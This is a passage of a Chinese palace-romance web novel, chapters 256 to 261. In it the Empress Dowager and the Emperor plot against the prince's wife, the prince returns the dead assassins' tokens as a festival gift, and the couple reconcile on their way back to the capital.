第256章 太后的杀意
两人又睡了一会儿,姜黎婳再次睁开眼睛的时候,楚御礼已经不在房中了,她翻身坐起来青梅正好端着热水进来,打算伺候姜黎婳梳洗,瞧她已经起了,便笑着道,“姑爷说出去和沉鹤大哥还有冽风大哥办点事情,一会儿就回来,他说您若起身梳洗好了就用早饭,不必等他们回来。”
姜黎婳轻轻应了一声,也没有问他们去办什么事情,洗漱完让青梅简单地为自己挽了个发髻,又穿了一身白色的亵衣,外面穿着同色的袄子和襦裙外面是蓝色的毛边带帽的披风。
青梅呆呆地看着眼前的小姐,喃喃道:“虽然从小就知道小姐您的美貌无人能及,但每次看您穿不同的衣裳和梳不同的发髻,都让奴婢有不同的惊艳感!小姐,您真的太美了!姑爷能娶到您这么又好看又有钱的夫人,简直是他八辈子修来的福气。”
心中装了事情的姜黎婳闻言笑着抬手在青梅鼻子上点了一下,“你这丫头等到了京城就不会这么说了。”
姜黎婳走到窗边推开窗,如今刚开年正是倒春寒,这徽州还没怎么下雪,却依旧很冷,到京城的时候,她应该可以看到雪景吧,她离开京城的时候京城也已经下雪了,只是地上还没有积雪,她还没见过红墙白瓦的紫禁城呢。
希望有机会能看一次。
楚御礼从外面回来就看到姜黎婳站在窗边吹冷风,那原本白皙的脸蛋都被吹得红扑红扑的了,他走过去站在她身旁拉着她转身,接着抬手捧着她的脸,眉头微蹙,“怎么站在这边吹冷风?”
“等你回来一起吃早饭啊。”姜黎婳抬眸和楚御礼对视,见他要说话,她又道,“青梅给我说你让我先用早饭,但是我就想和你一起吃。”
说着她抿嘴,伸手在他胸口点了点,“还是说夫君你不愿意陪我吃早饭?”
楚御礼觉得姜黎婳变了,从他把她救出来的第二天开始她就变得很好说话,也更粘着他了,他很喜欢娘子有这种全身心依赖着他的感觉,但越是这样,他心头越有一种不安的感觉。
但是如今娘子不但带了江南的婢女和她一起入京,还一路上与他耳鬓厮磨、如胶似漆,他又说不出哪儿不对劲。
胡思乱想之间,青梅已经把两人的早饭端过来了,楚御礼搂着姜黎婳去吃早饭,“去用膳吧,吃完我们再去下一个地方。”
姜黎婳笑着颔首,“夫君一大早出门就是让冽风他们去探路去了吗?”
“毕竟是要和夫人吃喝玩乐的地方,为夫自然要提前让他们打听好哪儿好玩有什么好吃的。”楚御礼掩去眼底的冷光,为姜黎婳夹了一个包子放在碟子中,“听说这是当地特色的腌笋包子,娘子尝尝味道如何。”
......
慈宁宫。
太后看着孟若瑶那忍辱负重又委屈不堪的模样,气得狠狠地在桌上拍了一下,“翅膀硬了!真是翅膀硬了!他竟然为了一个女人敢如此挑衅承恩公府!他忘了当初承恩公府是如何支持他的了!”
“其实这件事情不怪御王。”孟若瑶听太后半点没有提姜黎婳,她又抽泣着擦了擦自己的眼泪,轻声道:“都是我那天不该多嘴在父亲面前多提了一下,让父亲想为姑祖母您分忧,做了糊涂事。”
“这怎么算糊涂事?”太后沉着脸厉声道:“原本想着那丫头会有点自知之明,被人掳走后甘愿自我了结了,没成想她竟然还撺掇着御儿与我们直接对上了!”
瞧着太后咬牙切齿的模样,孟若瑶眉梢不自觉地扬了扬,“姑祖母咱们还是别拆散御王和御王妃了吧?臣女是真的害怕因为这件事情让您和御王殿下产生了嫌隙,甚至因此恨上您。”
说到这里她垂着头擦泪,“臣女实在是不想看到您和御王殿下祖孙二人产生隔阂。”
“你这丫头就是心软。”太后叹了口气,“你这般心软可成不了事。”
太后说到这里那浑浊的眼神骤然变得冰冷,“这件事情你不用管了,哀家会让人处置好的,那败坏了名声的女人即便是回到了京城,哀家也决议不会让她再占着御王妃的位置。”
“可御王若是不同意怎么办?”孟若瑶抿嘴,“而且臣女能看得出那永宁伯府的老夫人很是喜欢御王妃呢。”
“再喜欢也是没有血缘关系的。”太后冷声道:“姜黎婳被掳走还差点与人成了亲,名声已经烂了,那胡氏还想让她永宁伯府的女儿嫁不出了吗?”
孟若瑶连忙惊慌地说道,“姑祖母您别激动,
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臣女只是随便一提,您可别往心里去。”
太后看了孟若瑶一眼,眼皮动了动,面上的神色也没有之前那么激动了,她意味深长的对孟若瑶道,“好了,你就安心在家中等着,其他事情你也别插手了,免得让御王真的厌恶了你,到时候就得不偿失了。”
孟若瑶心头一怔,面上却不动声色,她站起来给太后给太后行礼告辞。
瞧着孟若瑶离开的背影,翠嬷嬷眉头皱了皱,“若瑶小姐这是想利用太后娘娘为她铲除御王妃。”
太后冷笑了一声,不在意地拨动手上的佛珠,“只要她能当上太子妃,将来为承恩公府带来荣耀,哀家睁一只眼闭一只眼又如何?”
翠嬷嬷闻言垂下眼眸,她忍不住道,“娘娘,您真的要为了承恩公府的荣耀,与御王反目成仇吗?”
太后脸色一沉,浑浊的眼底也闪过一丝冰冷,她回眸看着翠嬷嬷,冷声道:“翠娘,你僭越了。”
“娘娘,奴婢只是不愿意看到您...”
“哥哥当年为了我身受重伤,后来更是早早枉死,他死前我曾答应他要让承恩公府的荣耀一直延续下去。”太后垂眸拨动自己手中的佛珠,冷声道:“如今皇帝的几个儿子已经完全废了两个,只剩下御王和三皇子了,三皇子是个扶不上墙的,不堪重用,哀家和皇帝都不放心把江山交到他手中。”
“御儿既然是太子当之无愧之人,那就必须承担起太子的重任,他身边绝对不能有一个名声有损的女人。”太后脸色阴沉,“所以即便哀家来做这个恶人,姜黎婳那丫头也得死。”
“娘娘...”翠嬷嬷眼中全是担忧,只是这御王妃真的会这样轻易的被他们杀死吗?
而且以前宫中又不是没有出现过皇帝抢了臣子的夫人和小妾入宫当妃子的情况...
说什么名声,不过是娘娘害怕一个在御王心头如此重要的女人待在御王身边,会让挡了孟家的路罢了。
“不要说了,哀家已经决定了。”太后目光沉沉地看向翠嬷嬷,冷声道:“哀家被人用刀架着脖子威胁的事情,绝对不能再发生第二次。”
翠嬷嬷垂眸,看来上次佳宁公主的事情还是让太后在心头埋下了不好的种子。
第257章 帝后嫌隙
皇后因为母亲和太后都是承恩公府嫁出来的亲姐妹的缘故即便在宫中对儿子和儿媳的事情再担忧,也不敢让镇国侯府的人去查探楚御礼他们夫妇回京路上的事情,只能一边在心头祈祷两人平安,一边等着贤妃那边给自己传消息过来。
太后上次和皇后在慈宁宫闹了一些不愉快之后,也很少叫皇后过去慈宁宫说话了,不过每次孟若瑶进宫给自己请安的时候,她还是会让孟若瑶去皇后宫中坐一会儿。
皇后在太后属意让孟若瑶当太子妃之前,对这个舅舅家的孙女还是有几分喜欢的,毕竟大家闺秀,事情面面俱到,即便有几分心思,也没有用到他们身上来,也是无伤大雅的。
但是如今想到贤妃那边传来的消息,皇后也实在是对这个买凶杀人的表侄女喜欢不起来了。
正月十五元宵节这天,孟若瑶进宫看望太后,没多久就被太后安排人送到皇后宫中,说让皇后带着孟若瑶参加宫中的元宵晚宴。
皇后心头不爽,面上却不动声色地让佩蓉把人带到举办宴席的宴席厅中等着。
本就打算和皇后一同过去宴席厅,让那些参加宴席的贵女和京中贵妇们都看到皇室对她的特别,更要让旁人相信,她将会成为太子妃的孟若瑶听皇后要让嬷嬷先带自己过去,她笑着道:“臣女过去也没什么事情做,不如就陪在这里等娘娘,与娘娘一同过去?”
“本宫还有些事情要和贤妃说,你先过去陪你的好友们说说话也未尝不可。”皇后看了孟若瑶一眼,轻声道:“你在这儿闲坐着也是干等,本宫让佩蓉先送你过去,你也好与朋友一起说说话,这么久以来你应该也没时间出去与好友小聚了吧?正好趁今日,就与好友好好聚一聚。”
孟若瑶听到皇后这明显带着一丝针对的话,她眼底闪过一丝难堪,面上却像是没听出来一样,笑着答应了皇后的提议,“多谢娘娘为若瑶着想,那若瑶就先去宴席上与好友说会儿话了。”
瞧着孟若瑶离开的背影,皇后面上那一抹笑容彻底消失,这就是大家族培养出来的闺秀,果然喜怒不形于色,即便在心头都已经对自己很不满了,却依旧在她面前表现的懂事有礼的模样,丝毫让人挑不出错处。
孟若瑶刚走没多久,贤妃就疾步从凤仪宫外走了进来,把自己带的宫人留在门外后,她走进殿内拉着皇后在椅子上坐下,低声道:“听说闲王和王妃已经到了鲁洲,两人都还玩得挺开心的。”
“他们都没受伤吧?”皇后焦急地问。
贤妃颔首,“听我家商队传来的消息时说两人没有受伤,而且这是前两日从鲁洲传来的消息了,如今他们人到哪儿也不知道。”
“人没受伤就好。”皇后收起担忧的神色缓缓点头,“按照这速度,月底或者二月初两人应该就会入京了。”
“娘娘您打算怎么办?”贤妃有些担忧地看着皇后,“因为上次佳宁公主和楚浩泽逼宫的事情,您和陛下的关系好不容易才缓和到了以前恩爱的时候,这几日因为御王和御王妃的事情,陛下又开始疏远您了。”
皇后想到前些日子几乎每日都往凤仪宫跑,如今这几日却完全不过来的皇帝,她冷哼了一声,垂眸拨弄着自己的之家,淡淡道:“本宫都已经习惯了。”
以前她又不是没有被皇帝疏远过,这十几年来她都已经习惯了皇帝的疏远了,前些日子皇帝每日来她宫中留宿反倒让她不习惯。
不过话虽然是这样说,但皇帝在宴席开始之前还是差人过来请皇后过去御书房然后一同去宴席厅。
瞧着皇帝差来的人,贤妃自觉起身告辞,皇后让佩蓉为自己带上凤钗这才起身去御书房找皇帝。
瞧着打扮的雍容华贵的皇后,皇帝一扫之前的阴郁之色,笑着起身,“好久没看到皇后打扮得如此华丽了。”
“皇上又打趣臣妾了。”皇后扶了扶鬓边的头发,笑着道:“今晚的元宵晚宴是宫中举办的,臣妾身为后宫之母,自然丢了皇室的颜面的。”
“若御儿有皇后的一半来在意皇室的颜面,也不至于让朕头疼。”皇帝从桌案后走过来牵起皇后的手,接着意味不明地问皇后,“你可知御儿和御王妃走到哪儿了?”
“臣妾也没有差人出去打听,自然不知道他们已经走到哪儿了。”皇后垂眸看了一眼被皇帝握在手中的手腕,眉头微微蹙起,“无论走到哪儿,只要他们夫妇平安臣妾就安心了。”
皇帝抓着皇后的手微微用力,往外走的脚步也停了下来,他侧眸看着吹着眼眸的皇后,沉声道,“皇后,妇人之仁不能成大事。”
“但臣妾就是一介妇人啊。”皇后轻轻抬头看着皇帝,轻声道,“臣妾向来如此陛下也不是不知道,否则冯茹英与冯胜文曾经那般设计谋害御儿,臣妾早就拿着绳子把她勒死,将她千刀万剐了!”
又怎么会让冯茹英安稳地在冷宫中度过那么长的时间。
她这辈子就是被名声两个字禁锢了,就像当初要杀了淑妃,也要给自己找一个名正言顺的理由!
她被名声和颜面困住,不想让她的儿子也被困住。
皇帝沉沉地看着皇后,半晌后他收回目光,沉声道:“罢了,朕知道你重情义,那御王妃救了御儿一命,你想要护着他也无可厚非,朕也能够理解你。”
“那臣妾还要多谢陛下了。”皇后嘴角勾起一抹嘲讽的弧度,眼底也是浓浓的嘲讽之色,“咱们的确应该感谢御王妃,若不是御王妃的话,这皇位最后会落到谁人手中,也不一定呢。”
“行了,去参加宴席。”皇帝想再听皇后提起姜黎婳,松开皇后的手大步往宴席厅的方向而去。
瞧着皇帝大步离开的背影,佩蓉叹气上前扶着皇后,低声道,“娘娘,您何必与陛下把关系闹得这么僵呢?”
“本宫和皇上的关系不是向来如此吗?”皇后冷着脸抬步跟上皇帝的脚步。
帝后两人前后脚走进宴席厅,太后和其他宫中嫔妃还有外命妇和那些贵女们都已经在宴席厅中坐好等着他们了,见帝后两人前后进来,太后抬眸看了一眼从自己身边经过的皇后,皱了皱眉头,这皇后如今是越来越不把她这个姨母放在眼中了。
等皇帝去了男席那边,太后才朝在自己身边落座的皇后道,“皇后,哀家不是让你把若瑶带在身边一同带到这宴席上来吗?”
第258章 御王送的贺礼
一过来就被太后低声质问的皇后闻言眉梢一挑,脸上甚至还带着笑的,她看了太后一眼,笑着低声道:“母后,臣妾身为一国皇后,要顾全的事情很多,再说了,如今这天下谁人不知御王妃是御王的救命恩人,这御王妃即便被绑架也是因为皇室,才遭受的无妄之灾,若这时候臣妾就带着旁人在这元宵晚宴上招摇过市,岂不是让皇室落下一个忘恩负义过河拆桥的口实?”
瞧着太后逐渐沉下来的脸色,皇后又笑着往太后这边偏了偏身子,低声道:“母后啊,有些事情咱们不要做得太过了,皇室的脸面其实早就没了不是吗?”
“皇后!”太后浑浊的眼睛紧紧地眯起,她盯着皇后,眼神冷厉,“你可知道你在做什么?”
“母后,御儿迎娶婳儿冲喜之前,也不是没到适婚的年纪,您想过让孟家的女孩嫁给御儿吗?”皇后脸色沉了下去,“现在又这么着急地把人塞到他身边做什么?”
“皇后!”太后脸色一沉,声音也突然增大,“你...”
随着太后这声厉斥,外命妇和各家贵女的目光都朝主位这边看过看,皇后挑眉不再去看太后,而是对众人道,“今日元宵节,各位夫人和小姐也不必拘礼,就把这当自己家一样,自在一点,不必拘谨。”
就在这时候,外面有太监大步走了进来,笑着道:“御王为皇上和太后送来元宵贺礼。”
太监笑着把两个大小不一的箱子端了进来,然后恭敬地跪在地上抬头看着太后,笑着道:“太后娘娘是否要将礼品打开?”
太后看着两个礼品箱子,眉梢微挑,脸色也总算是缓和了几分,她笑着颔首,“御王有心了,那就打开瞧瞧吧。”
太监笑着应了一声,正要转身打开两个小太监捧着的箱子,又想到先前听到的吩咐,他连忙又跪在地上道:“这还有一个箱子的礼品是御王殿下送给陛下的礼物,不知娘娘您是否能容奴才让人先把陛下的礼品先送到陛下那边去?”
太后笑着道:“这孩子如今还讲究上了。”她抬手,“那便让人送过去吧。”
太监笑着应了声是,让人把大一点的箱子和一封书信递给太监,“送过去吧。”
随着小太监的离开,那太监又从怀中掏出一封书信,走上前呈到太后面前,“这是御王殿下让人捎回来的书信。”
太后打开信封,信纸上只写了几个字,“贺皇祖母元宵人团圆。”
另一边皇帝打开了小太监递上来的信封,拆开里面也写了几个字,“贺父皇元宵皆圆满。”
两个不同宴席上坐在主座上的人看到这短短的几个字,眉头皆是微微蹙起,两人完全不知道楚御礼写这么几个字,又送来礼品的含意到底在哪儿。
两人隔着一墙,几乎是异口同声,“把礼品呈上来。”
跪在厅中的太监也几乎是同步的把礼品盒子捧着放在了两人的面前。
这边皇帝沉着脸瞧着暗红色的礼品盒,他抬手拨开盒子上的锁扣,掀开盖子,接着他脸上的表情僵住了。
他随手把盒子盖上,眼底闪过一丝阴冷。
这里面全是腰牌,几十上百枚他派出去刺杀姜黎婳的暗卫的腰牌!
他倒是没想到自己的这个大儿子实力竟然这么强,不但能抵挡自己派去的暗卫护住那个没了名声的女人,甚至还把他们都杀了,而且把腰牌给送回来了。
太后这边看到一匣子的腰牌,先是有些不解,她回头看了翠嬷嬷一眼,翠嬷嬷上前仔细一看,接着脸色巨变,她在太后身边跪下,低声道:“这些腰牌是娘娘您先前派出去...”
她话还没说完,太后就已经想来了,她猛地站起来,抬手捂着胸口,“他...”
“怎么了?”皇后侧首看过来,面上还带着笑容,“母后不满意御儿送的礼品?他送了些什么?”
太后猛地把盖子给盖上站起来,“御王有心了,这份礼物哀家十分满意。”
她深深地看了皇后一眼,沉声道,“哀家乏了,先回宫休息了,剩下的宴席皇后就交给皇后你了。”
皇后起身给太后福了福身子,其他人也随着皇后起身,纷纷站起来恭送太后,太后沉着脸走出宴席厅,随后狠狠地甩了一下自己宽大的袖子,大步往慈宁宫的方向而去。
皇后又让众人继续欣赏歌舞用点心喝酒,把众人的在注意力转以后,她才挑眉看向还摆在太后桌上的礼品盒,皇后打开盒子,看到里面满满一盒子的腰牌,她皱了皱眉头,接着让人把盒子收下去。
皇帝那边也随着收到礼物后直接起身离席,随着皇帝的离席,大臣们也开始对那一匣子的礼品议论纷纷,这御王殿下究竟送了什么礼物,让皇上的脸色一下子就变得这么难看了?
坐在皇帝左下方第一个位子上的沈遇知先前看到了一眼,里面好像是什么腰牌之类的东西。
能让皇帝脸色如此难看的腰牌...
沈遇知眉梢微挑,不会吧?御王殿下竟然这么勇的吗?把皇帝派去刺杀小师妹的人都给杀了,还把那些人的腰牌都拿回来还给皇帝了?
他这就不怕把自己的父皇给得罪死了?
不过...他这小师妹倒是的确没有嫁错人,竟然能让自己的夫君为了她,公然和皇帝作对。
不错不错,难怪他那师父一点都不担忧小师妹的安危,说到底还是他肤浅了,觉得御王会权衡利弊,舍弃这个曾经对他有帮助的王妃呢。
和皇帝与太后坏心情不同的是,皇后和沈遇知两人的心情都还挺好的,这好心情一直维持到了宴席结束。
养心殿中。
皇帝停下脚步,接着抬手直接掀翻了后面太监端着的木匣子,匣子落地里面近百的腰牌哐当落地,吓得福清和跟着进来的小太监纷纷跪地,不敢发出一点声音。
“翅膀硬了!”皇帝阴沉着一张脸看着满地的腰牌,眼神冰冷,“他怎么敢!”
“陛下息怒。”福清目光扫过那些腰牌,低声道:“御王殿下是性情中人,如今又正是血气方刚的年纪,被情爱冲昏头脑是正常的,陛下您何必在他与御王妃感情最好的时候去拆散他们呢?”
“你的意思还是朕的错了?”皇帝狠狠甩了一下袖子,厉声道:“她被人掳去,还差点与人成亲,皇室绝对不会让这种女人再...”
“陛下!”福清连忙打断皇帝的话,“但如今看来您越是想要拆散御王和御王妃,越会让他们的关系密不可分呀,这件事情怕是还要从长计议才是。”
第259章 你想离开我?
皇帝被福清的话说服了,他是楚国的皇帝,无论做什么都要为楚国的将来做打算,如今他唯一可以信任和能把楚国托付的人只有楚御礼这么一个儿子了。
所以如今即便楚御礼没有向自己展示出自己的实力,自己后面也会教他如何笼络朝臣,发展自己的实力,让楚国的百姓看到他的能力。
只是他唯一没想到的是,儿子有能力有实力,之前一直在藏拙,而这一次为了护住一个女人,竟然就这样明目张胆的暴露在了他这个父皇的面前!
“楚国美女如云,等朕立了储君,就给太子选妃,太子妃、侧妃、良娣、侍妾通房,朕就不信有这么多美人守着他,他还能分心在意一个损了名声差点和旁人成了亲的女人。”皇帝沉着脸走向内殿,一边冷声对福清吩咐,“让人传出消息,太子选妃,让楚国大小官员适龄的女儿都交上花名册和画像,参与选妃。”
福清抬手擦了擦额头的汗水,在心头叹了口气,这才应声退了出去。
慈宁宫中。
太后回到慈宁宫大殿中转身就把翠嬷嬷抱着的木匣子抢过来砸在地上,气急败坏地骂道:“他好大的胆子!竟然敢如此忤逆哀家!哀家当初是如何对他好的!现在为了一个女人,竟然敢这样对哀家了!”
翠嬷嬷瞧太后气得差点背过气去,连忙上前给太后拍背顺气,一边道,“娘娘,您别气了,御王殿下年轻气盛,这御王妃对他来说不仅是一个冲喜的王妃,更是他的救命恩人,如今他们两人成亲也不过是大半年的时间,正是浓情蜜意的时候,这时候您派人去刺杀御王妃,御王能做出这样的事情来,也是...情理之中。”
原本就很生气的太后闻言更生气了,她震惊地瞪大眼睛看向还帮着楚御礼说话的翠嬷嬷,厉声道,“这么说还是哀家的错了?”
她甩开翠嬷嬷的手转身朝内殿走去,“哀家这么做是为了他!虽然也为了孟家,但是他有一个好名声和好北境的太子妃,对他来说只有好处没有坏处!他就是一个眼盲心瞎的,看不到谁才是真正对他好的!”
“御王殿下如今年轻,自然不懂娘娘您对他的苦心。”翠嬷嬷连忙跟上去安抚,“只是娘娘,奴婢觉得咱们如今实在是没必要激怒御王殿下,咱们若是这样,御王殿下就越会护着御王妃,两人的感情就会越来越好。”
她给太后倒了一杯茶,低声道:“这皇后娘娘您以为她就不着急御王和御王妃的事情了吗?也是着急的,只是皇后娘娘聪明,她不会为了一个女人再去触怒御王,坏了母子情分。”
太后眉头微微蹙起,她缓缓抬头看着翠嬷嬷,“你是说皇后也不满姜黎婳?”
“奴婢听说上次御王妃假失踪的时候,御王殿下曾和皇后娘娘吵过一次,吵得还很厉害,想来也是因为御王妃的事情。”翠嬷嬷轻轻地给太后扶背,声音很低,“娘娘,如今这御王妃还未回京,就已经惹得这么多人不喜了,将来遇到的事情定然很多,御王能一次护着她,难道还能次次护着她?”
太后紧皱的眉头轻轻舒展,她回眸看着翠嬷嬷,“你的意思是?”
“等御王自己厌恶了那御王妃。”翠嬷嬷开始给太后揉捏肩膀,瞧太后舒展了眉目,她面上也浮出浅淡的笑意,“御王回京之后势必会被封为太子,太子殿下日理万机,要协助陛下处理朝政,也得为陛下体察民情,每日事务繁忙,若还要抽出时间来维护照顾御王妃,时间长了自然就会厌烦厌倦,又何须您亲自出手,坏了祖孙情分?”
太后手指动了动,好一会儿之后她站起来,“你说的没错,哀家倒是要看看,他对那个女人的深情能坚持多久。”
身为过来人,她太了解男人,特别是帝王之家的男人,哪儿有表现出来的那么深情,其实他们一个个都是只在乎权势的薄情寡义的男人。
翠嬷嬷见自己说动了太后,不动声色地舒了口气,“时辰不早了,奴婢让人准备热水,伺候娘娘梳洗。”
回京城的某县城的客栈中。
酒过三巡的夫妇二人相对而坐,姜黎婳一只手撑着头,一只手端着酒杯,把杯中酒一饮而尽后,她扬起自己有些酡红的脸,眼神有些迷离地看着楚御礼,“夫君,快要二月了,我们还有半个月的时间就得赶到京城了。”
楚御礼学着她的模样坐着与她对视,不过没有撑着下巴那只手却是朝她伸了过去,姜黎婳恍惚地随着他的动作抬起自己的手,放在他手心,楚御礼轻轻一笑,“娘子不用担忧,即便是回了京城,你依旧是我的御王妃、太子妃、甚至是...”
他话还未说完,姜黎婳已经站起来俯身把手指压到他的嘴唇上了,她眨了眨眼睛,定定地看着他,轻声道:“楚御礼,我嫁给你的目的已经达到了,你不要为了我毁了自己的未来。”
楚御礼的手指微微一屈,他抬眸看着眼眶通红,但是眼底已经没有了先前那种迷离之色的姜黎婳,他握住她的手腕把她的手从自己的唇上挪开,他眼神忐忑,声音沙哑,“娘子这话是什么意思?”
“我知道这些日子你都为我做了什么。”姜黎婳站直身子使劲抽回一双被他捏着的手,坐回凳子上,她不去看他受伤的神色,“我知道你每次和沉鹤他们出去都是在布置如何对付皇上他们派来刺杀我的刺客,我之所以在回京的路上这般逍遥自在,也是因为有沉鹤他们在负重前行。”
楚御礼静静地看着她,“所以娘子想离开我?”不等姜黎婳回答,楚御礼就猛地站起来,他双目猩红地看着姜黎婳,人也走过来紧紧地把姜黎婳搂入怀中紧紧地箍着她,语气坚定,“但是我不允许。”
“我不管你嫁给我的目的是什么,但是我楚御礼自从揭了盖头那一刻开始就曾发誓,这辈子无论是生是死,你姜黎婳都只能是我楚御礼一个人的妻,我也只会有你一个妻!”
他松开姜黎婳,在她身边坐下,掰着她的头与自己对视,一字一句道,“所以,无论如何,我是绝对不会放开你的手的,姜黎婳无论生死,我们一同前行!”
姜黎婳心头一恸,她能感受到他现在说的这一切都是真心实意的,也看到了这一路他是如何呵护自己的,但是她不能只依靠他的爱和呵护就奋不顾身地与他一同回御王府。
第260章 不要让我赌输
她若孤身一人,那她也愿意为这个对自己一腔炙热爱意的男人奋不顾身,但是如今在京城她还有父兄和自己在意的人,若自己真的任性,为他们带去灾祸...
她不想再发生佩玉嬷嬷那种事情。
“楚御礼。”姜黎婳抬手轻轻地捧着楚御礼的脸,面带笑意,“可是如今我名声尽毁,你如今是御亲王,等回京之后你还可能是太子,将来你身边会有更多的...”
“够了!”楚御礼沉声打断姜黎婳的话,目光阴沉的看着她,声音嘶哑,“你就不能相信我一次吗?”
说到这里他的眼神变得渴求,颤抖的声音中还带着一丝祈求,他拉着她的手紧紧地按在自己的脸上,低声问,“这么久以来,娘子还是没有爱上为夫吗?”
姜黎婳指尖在听到他颤抖的声音时,贴着他他冰冷的脸颊微微颤了颤,看着他俊美的脸上全是神伤,姜黎婳只感觉自己的心都被揪起来了,她咬了咬唇轻轻摇头,“不是。”
楚御礼眼睛一亮,抓着她手的力度更重了两分,他看着她,继续道,“以前娘子总是会问我信任你吗,我每次都会信你。”
他抬起另一只手抚平她刚蹙起的眉头,轻声哀求:“这次娘子你信任为夫一次好不好?”
姜黎婳的眼神逐渐变得不解。
楚御礼牵起嘴角,掩下心中的无奈和伤感,“我知道娘子是在担忧什么,但是为夫只想要娘子保证以后一心一意只看我,只信任我,其他的都交给我,好吗?”
姜黎婳眼神震惊的站起来,楚御礼也跟着站了起来,他眸光深沉的看着姜黎婳,“为夫向你保证,绝对不会让你在意的人受到半点伤害,但是求你不要想着离开我,好不好?”
看着他这样卑微祈求自己的模样,姜黎婳的心像是藤蔓紧紧地缠住了一样,疼得她无法呼吸。
她捂着胸口看着楚御礼,好半晌说不出一句话。
瞧着姜黎婳的模样,楚御礼心疼的上前把她搂入怀中,“你被掳走不是你的错,所以咱们为什么要用旁人犯的错来惩罚我们自己呢?”
“我会护好岳父和舅兄,还有其他你在意的人,你就答应我,留在我身边,哪儿也不去。”他下颌搭在她肩上,双手紧紧地抱着她的后腰,“没你的话,我活不下去的,你不要惩罚我好不好?”
听着他这么卑微的话语,姜黎婳垂在身侧的手再也忍不住抱住了他的后腰,好一会儿之后,她才低声道:“楚御礼,为了你我愿意赌一把,我愿意相信你,如今我把身心都交给你了,你不要让我赌输了。”
楚御礼身子一僵,他站直身子,缓缓松开姜黎婳,眼底是逐渐聚拢的欣喜,他握紧姜黎婳的肩膀,惊喜又带着一丝忐忑的看着她,“娘子,你刚刚说什么?你再说一遍!”
瞧着他如此忐忑的模样,姜黎婳不自觉的弯了弯嘴角,她抬眸与他的眼睛对视,一字一句的说道,“我说我心悦你,愿意信你,你不要让我...”
“我楚御礼用自己的性命发誓,我此生绝对不会让姜黎婳输!”楚御礼欣喜的打断姜黎婳的话,一把把她拥入怀中,“娘子,你不会再想着离开我了吧?”
他的激动感染了被他抱在怀中的姜黎婳,她抬手环住他的腰,在他胸膛轻轻摇头,“既然选择了信你,我就不会再离开你,但是楚御礼,你要保证不要让我父兄遇险,也不能...”
“娘子放心,以后你的眼睛就只需要看着为夫,其他的,为夫帮你看着。”楚御礼低头在她头顶印下一个吻,“今后你只需要操心为夫的事情,其他事情你都无需操心!”
“真的?”
“真的,若我没有办到,我就跪搓衣板!”楚御礼挑眉,嘴角是压制不住的往上翘,“娘子觉得如何?”
“我只希望父亲的生意不遭受任何抨击,也希望兄长的仕途不要被...”
“娘子还是不信任为夫吗?”楚御礼打断姜黎婳的话,他松开姜黎婳,有些委屈的看着他,“先前不是说了娘子以后只用操心为夫的事情吗?”
姜黎婳瞧着他这如狗一样摇尾乞怜的表情,她先是一怔,接着无奈的笑了,“好,我信你,以后我不过问其他事情,只管你的事情。”
听到姜黎婳的保证,楚御礼只感觉自己的心都要从胸膛跳出来了,他深深地看着姜黎婳,接着弯腰一把把人抱了起来,直接朝床榻走去,“时辰不早了,我们早些休息吧!”
床榻摇曳了几乎整整一夜,天光微亮的时候才停下来,这也导致今日的行程直接搁置。
楚御礼一点都不像是一夜没睡的模样,让昭临他们准备了热水,自己亲自端进去冲满浴桶,然后才把姜黎婳抱起来清洗,把人泡进热乎乎的水中后,又兴高采烈的去换床单被褥...
姜黎婳昏昏欲睡的被泡在浴桶中,只感觉每个毛孔都得到了放松,人再次被楚御礼放回床上之后,翻个身沉沉的睡了过去。
楚御礼瞧着躺在床上就连睡颜都绝美的娘子,想到昨夜娘子说的话,他心满意足的在她额头印下一个吻,然后抱着染了污秽的床单被套丢进浴桶中开始清洗...
一切洗完,他才让昭临他们进来把水抬出去,然后吩咐,“在外面守着,不准任何人上来吵我们睡觉,用午膳都不行。”
接着砰的关上门,转身抱着娘子美美的睡觉去了。
睡得正暖和的姜黎婳忽然感觉一股凉意袭来,她裹着被子往里面躲了躲,但是那股凉意追着自己而来,她皱着眉头哼了一声,“冷。”
楚御礼一把把她抱入怀中,轻声哄道,“抱一会儿就不冷了,我给娘子暖床。”
姜黎婳哼哼了两声,虽然觉得不对劲,但是因为太困了也没有出声反驳,只能窝在他怀中由他抱着自己,“那你不准再碰我了。”
“不碰了。”楚御礼笑着在她额头上亲了亲,微睁开的眼底全是缱绻深情,“快睡吧。”
姜黎婳没有再说话,翻了个身背靠在她怀中沉沉的睡了过去。
楚御礼闻着她头上的香味,也心满意足的闭上眼睛,安稳的进入了梦乡。
心头那从江南就一直缠绕着他的不安感也终于在这一刻消失不见了。
第261章 合格的婢女
时间过得很快,正月也随着楚御礼和姜黎婳两人回到京城而结束。
二月第一天夜里,姜黎婳和楚御礼回到了御王府。
一直在王府中等着姜黎婳回来的知夏和铃铛两人早早就在门口等着了,见姜黎婳从马车上下来,两人激动地朝她迎上去。
铃铛哭着扑到姜黎婳面前,一个激动就跪下去抱着姜黎婳的腿,大声哭着道:“哇,小姐您总算回来了,奴婢以为您再也不要奴婢了!”
知夏相对于铃铛的不管不顾就显得稍微要得体一些,她抬手拭泪后把铃铛拉了起来,然后朝姜黎婳跪下去,“都是奴婢们没有保护好小姐,才让小姐遭受无妄之灾,奴婢们万死难辞其咎。”
从先前看到御王府三个字的匾额时就愣在马车旁边的青梅这才缓缓回过神来僵硬地看向姜黎婳,见姜黎婳弯腰去把知夏和铃铛扶起来,她又去看楚御礼,而后者是个盯妻狂魔她也不敢上前去问...
还有...
她缓缓往四处张望了一下,那沉鹤大哥和冽风大哥两人好像京城之后就消失不见了。
青梅这才把目光放在了在进京路上对自己态度一直很奇怪的昭临身上,不过她刚转眼看过去,昭临就像察觉到了她的目光一样,一下子回避开,不与她对视。
青梅撇了撇嘴,小步往青砚身边挪动,低声问,“青砚大哥,咱们来御王府做什么啊?”
姑爷不是姜家的上门女婿吗?
青砚听到小姑娘天真无邪的问题,眼神有些震惊,这丫头是真的小白还是装的啊?
这都到门口了,还猜不到?
“御王府就是咱们主子的家,来御王府自然是回家。”青砚对着姜黎婳和御王努了努嘴,“御王、御王妃。”
青梅眼睛一眨不眨的盯着姜黎婳看了片刻,然后猛地伸手捂着嘴,小姐是王妃了!
而他们的姑爷竟然是堂堂御亲王!
爹娘哥哥弟弟!你们的女儿也是出息了!竟然能到御王府当差了!
等等,好像有什么地方不对劲...
青梅看着还哭在一堆的主仆三人,脑海中闪过自己好像在江南听到过的御王妃被掳走还差点与旁人成亲的事情...
当时她只当旁人的事情听了一下也没在意,但现在这场风波里面的主角竟然是小姐和姑爷?
